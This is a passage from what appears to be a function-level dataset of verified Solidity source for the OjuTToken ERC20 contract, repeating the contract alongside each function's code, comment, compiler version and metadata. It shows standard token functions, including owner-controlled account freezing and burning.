safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } // ------------------------------------------------------------------------ // Destroy tokens // Remove `value` tokens from the system irreversibly // @param value the amount of money to burn // ------------------------------------------------------------------------ function burn(uint256 value) public returns (bool success) { require(balances[msg.sender] >= value); // Check if the sender has enough balances[msg.sender] -= value; // Subtract from the sender totalSupply -= value; // Updates totalSupply emit Burn(msg.sender, value); return true; } // ------------------------------------------------------------------------ // Freeze account - Prevent | Allow` `target` from sending & receiving tokens // @param target Address to be frozen // @param freeze either to freeze it or not // ------------------------------------------------------------------------ function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } }
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ----------------------------------------------------------------------------
LineComment
balanceOf
function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; }
// ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------
LineComment
v0.4.24+commit.e67f0147
bzzr://54425f3c2728488ac4244ef0e4cfa171861019c7e4aefa851450b5288a35f77f
{ "func_code_index": [ 1397, 1526 ] }
1,338
OjuTToken
OjuTToken.sol
0x659338df9010de4dadb0bc33d6485d33b2155b06
Solidity
OjuTToken
contract OjuTToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; address public ownerAddress; uint8 public decimals; uint public totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; mapping(address => bool) public frozenAccount; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "OjuT"; name = "OjuT Token"; decimals = 18; totalSupply = 125 * 10 ** 25; ownerAddress = 0x25B0db4FD8062a74685032e87a675A3df5a9F228; balances[ownerAddress] = totalSupply; emit Transfer(address(0), ownerAddress, totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { // Prevent transfer to 0x0 address. Use burn() instead require(to != 0x0); // Check if sender is frozen require(!frozenAccount[msg.sender]); // Check if recipient is frozen require(!frozenAccount[to]); balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { // Prevent transfer to 0x0 address. Use burn() instead require(to != 0x0); // Check if sender is frozen require(!frozenAccount[from]); // Check if recipient is frozen require(!frozenAccount[to]); balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } // ------------------------------------------------------------------------ // Destroy tokens // Remove `value` tokens from the system irreversibly // @param value the amount of money to burn // ------------------------------------------------------------------------ function burn(uint256 value) public returns (bool success) { require(balances[msg.sender] >= value); // Check if the sender has enough balances[msg.sender] -= value; // Subtract from the sender totalSupply -= value; // Updates totalSupply emit Burn(msg.sender, value); return true; } // ------------------------------------------------------------------------ // Freeze account - Prevent | Allow` `target` from sending & receiving tokens // @param target Address to be frozen // @param freeze either to freeze it or not // ------------------------------------------------------------------------ function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } }
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ----------------------------------------------------------------------------
LineComment
transfer
function transfer(address to, uint tokens) public returns (bool success) { // Prevent transfer to 0x0 address. Use burn() instead require(to != 0x0); // Check if sender is frozen require(!frozenAccount[msg.sender]); // Check if recipient is frozen require(!frozenAccount[to]); balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; }
// ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------
LineComment
v0.4.24+commit.e67f0147
bzzr://54425f3c2728488ac4244ef0e4cfa171861019c7e4aefa851450b5288a35f77f
{ "func_code_index": [ 1870, 2448 ] }
1,339
OjuTToken
OjuTToken.sol
0x659338df9010de4dadb0bc33d6485d33b2155b06
Solidity
OjuTToken
contract OjuTToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; address public ownerAddress; uint8 public decimals; uint public totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; mapping(address => bool) public frozenAccount; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "OjuT"; name = "OjuT Token"; decimals = 18; totalSupply = 125 * 10 ** 25; ownerAddress = 0x25B0db4FD8062a74685032e87a675A3df5a9F228; balances[ownerAddress] = totalSupply; emit Transfer(address(0), ownerAddress, totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { // Prevent transfer to 0x0 address. Use burn() instead require(to != 0x0); // Check if sender is frozen require(!frozenAccount[msg.sender]); // Check if recipient is frozen require(!frozenAccount[to]); balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { // Prevent transfer to 0x0 address. Use burn() instead require(to != 0x0); // Check if sender is frozen require(!frozenAccount[from]); // Check if recipient is frozen require(!frozenAccount[to]); balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } // ------------------------------------------------------------------------ // Destroy tokens // Remove `value` tokens from the system irreversibly // @param value the amount of money to burn // ------------------------------------------------------------------------ function burn(uint256 value) public returns (bool success) { require(balances[msg.sender] >= value); // Check if the sender has enough balances[msg.sender] -= value; // Subtract from the sender totalSupply -= value; // Updates totalSupply emit Burn(msg.sender, value); return true; } // ------------------------------------------------------------------------ // Freeze account - Prevent | Allow` `target` from sending & receiving tokens // @param target Address to be frozen // @param freeze either to freeze it or not // ------------------------------------------------------------------------ function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } }
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ----------------------------------------------------------------------------
LineComment
approve
function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; }
// ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------
LineComment
v0.4.24+commit.e67f0147
bzzr://54425f3c2728488ac4244ef0e4cfa171861019c7e4aefa851450b5288a35f77f
{ "func_code_index": [ 2956, 3169 ] }
1,340
OjuTToken
OjuTToken.sol
0x659338df9010de4dadb0bc33d6485d33b2155b06
Solidity
OjuTToken
contract OjuTToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; address public ownerAddress; uint8 public decimals; uint public totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; mapping(address => bool) public frozenAccount; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "OjuT"; name = "OjuT Token"; decimals = 18; totalSupply = 125 * 10 ** 25; ownerAddress = 0x25B0db4FD8062a74685032e87a675A3df5a9F228; balances[ownerAddress] = totalSupply; emit Transfer(address(0), ownerAddress, totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { // Prevent transfer to 0x0 address. Use burn() instead require(to != 0x0); // Check if sender is frozen require(!frozenAccount[msg.sender]); // Check if recipient is frozen require(!frozenAccount[to]); balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { // Prevent transfer to 0x0 address. Use burn() instead require(to != 0x0); // Check if sender is frozen require(!frozenAccount[from]); // Check if recipient is frozen require(!frozenAccount[to]); balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } // ------------------------------------------------------------------------ // Destroy tokens // Remove `value` tokens from the system irreversibly // @param value the amount of money to burn // ------------------------------------------------------------------------ function burn(uint256 value) public returns (bool success) { require(balances[msg.sender] >= value); // Check if the sender has enough balances[msg.sender] -= value; // Subtract from the sender totalSupply -= value; // Updates totalSupply emit Burn(msg.sender, value); return true; } // ------------------------------------------------------------------------ // Freeze account - Prevent | Allow` `target` from sending & receiving tokens // @param target Address to be frozen // @param freeze either to freeze it or not // ------------------------------------------------------------------------ function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } }
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ----------------------------------------------------------------------------
LineComment
transferFrom
function transferFrom(address from, address to, uint tokens) public returns (bool success) { // Prevent transfer to 0x0 address. Use burn() instead require(to != 0x0); // Check if sender is frozen require(!frozenAccount[from]); // Check if recipient is frozen require(!frozenAccount[to]); balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; }
// ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------
LineComment
v0.4.24+commit.e67f0147
bzzr://54425f3c2728488ac4244ef0e4cfa171861019c7e4aefa851450b5288a35f77f
{ "func_code_index": [ 3700, 4360 ] }
1,341
OjuTToken
OjuTToken.sol
0x659338df9010de4dadb0bc33d6485d33b2155b06
Solidity
OjuTToken
contract OjuTToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; address public ownerAddress; uint8 public decimals; uint public totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; mapping(address => bool) public frozenAccount; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "OjuT"; name = "OjuT Token"; decimals = 18; totalSupply = 125 * 10 ** 25; ownerAddress = 0x25B0db4FD8062a74685032e87a675A3df5a9F228; balances[ownerAddress] = totalSupply; emit Transfer(address(0), ownerAddress, totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { // Prevent transfer to 0x0 address. Use burn() instead require(to != 0x0); // Check if sender is frozen require(!frozenAccount[msg.sender]); // Check if recipient is frozen require(!frozenAccount[to]); balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { // Prevent transfer to 0x0 address. Use burn() instead require(to != 0x0); // Check if sender is frozen require(!frozenAccount[from]); // Check if recipient is frozen require(!frozenAccount[to]); balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } // ------------------------------------------------------------------------ // Destroy tokens // Remove `value` tokens from the system irreversibly // @param value the amount of money to burn // ------------------------------------------------------------------------ function burn(uint256 value) public returns (bool success) { require(balances[msg.sender] >= value); // Check if the sender has enough balances[msg.sender] -= value; // Subtract from the sender totalSupply -= value; // Updates totalSupply emit Burn(msg.sender, value); return true; } // ------------------------------------------------------------------------ // Freeze account - Prevent | Allow` `target` from sending & receiving tokens // @param target Address to be frozen // @param freeze either to freeze it or not // ------------------------------------------------------------------------ function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } }
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ----------------------------------------------------------------------------
LineComment
allowance
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; }
// ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------
LineComment
v0.4.24+commit.e67f0147
bzzr://54425f3c2728488ac4244ef0e4cfa171861019c7e4aefa851450b5288a35f77f
{ "func_code_index": [ 4643, 4799 ] }
1,342
OjuTToken
OjuTToken.sol
0x659338df9010de4dadb0bc33d6485d33b2155b06
Solidity
OjuTToken
contract OjuTToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; address public ownerAddress; uint8 public decimals; uint public totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; mapping(address => bool) public frozenAccount; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "OjuT"; name = "OjuT Token"; decimals = 18; totalSupply = 125 * 10 ** 25; ownerAddress = 0x25B0db4FD8062a74685032e87a675A3df5a9F228; balances[ownerAddress] = totalSupply; emit Transfer(address(0), ownerAddress, totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { // Prevent transfer to 0x0 address. Use burn() instead require(to != 0x0); // Check if sender is frozen require(!frozenAccount[msg.sender]); // Check if recipient is frozen require(!frozenAccount[to]); balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { // Prevent transfer to 0x0 address. Use burn() instead require(to != 0x0); // Check if sender is frozen require(!frozenAccount[from]); // Check if recipient is frozen require(!frozenAccount[to]); balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } // ------------------------------------------------------------------------ // Destroy tokens // Remove `value` tokens from the system irreversibly // @param value the amount of money to burn // ------------------------------------------------------------------------ function burn(uint256 value) public returns (bool success) { require(balances[msg.sender] >= value); // Check if the sender has enough balances[msg.sender] -= value; // Subtract from the sender totalSupply -= value; // Updates totalSupply emit Burn(msg.sender, value); return true; } // ------------------------------------------------------------------------ // Freeze account - Prevent | Allow` `target` from sending & receiving tokens // @param target Address to be frozen // @param freeze either to freeze it or not // ------------------------------------------------------------------------ function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } }
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ----------------------------------------------------------------------------
LineComment
approveAndCall
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; }
// ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------
LineComment
v0.4.24+commit.e67f0147
bzzr://54425f3c2728488ac4244ef0e4cfa171861019c7e4aefa851450b5288a35f77f
{ "func_code_index": [ 5154, 5476 ] }
1,343
OjuTToken
OjuTToken.sol
0x659338df9010de4dadb0bc33d6485d33b2155b06
Solidity
OjuTToken
contract OjuTToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; address public ownerAddress; uint8 public decimals; uint public totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; mapping(address => bool) public frozenAccount; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "OjuT"; name = "OjuT Token"; decimals = 18; totalSupply = 125 * 10 ** 25; ownerAddress = 0x25B0db4FD8062a74685032e87a675A3df5a9F228; balances[ownerAddress] = totalSupply; emit Transfer(address(0), ownerAddress, totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { // Prevent transfer to 0x0 address. Use burn() instead require(to != 0x0); // Check if sender is frozen require(!frozenAccount[msg.sender]); // Check if recipient is frozen require(!frozenAccount[to]); balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { // Prevent transfer to 0x0 address. Use burn() instead require(to != 0x0); // Check if sender is frozen require(!frozenAccount[from]); // Check if recipient is frozen require(!frozenAccount[to]); balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return 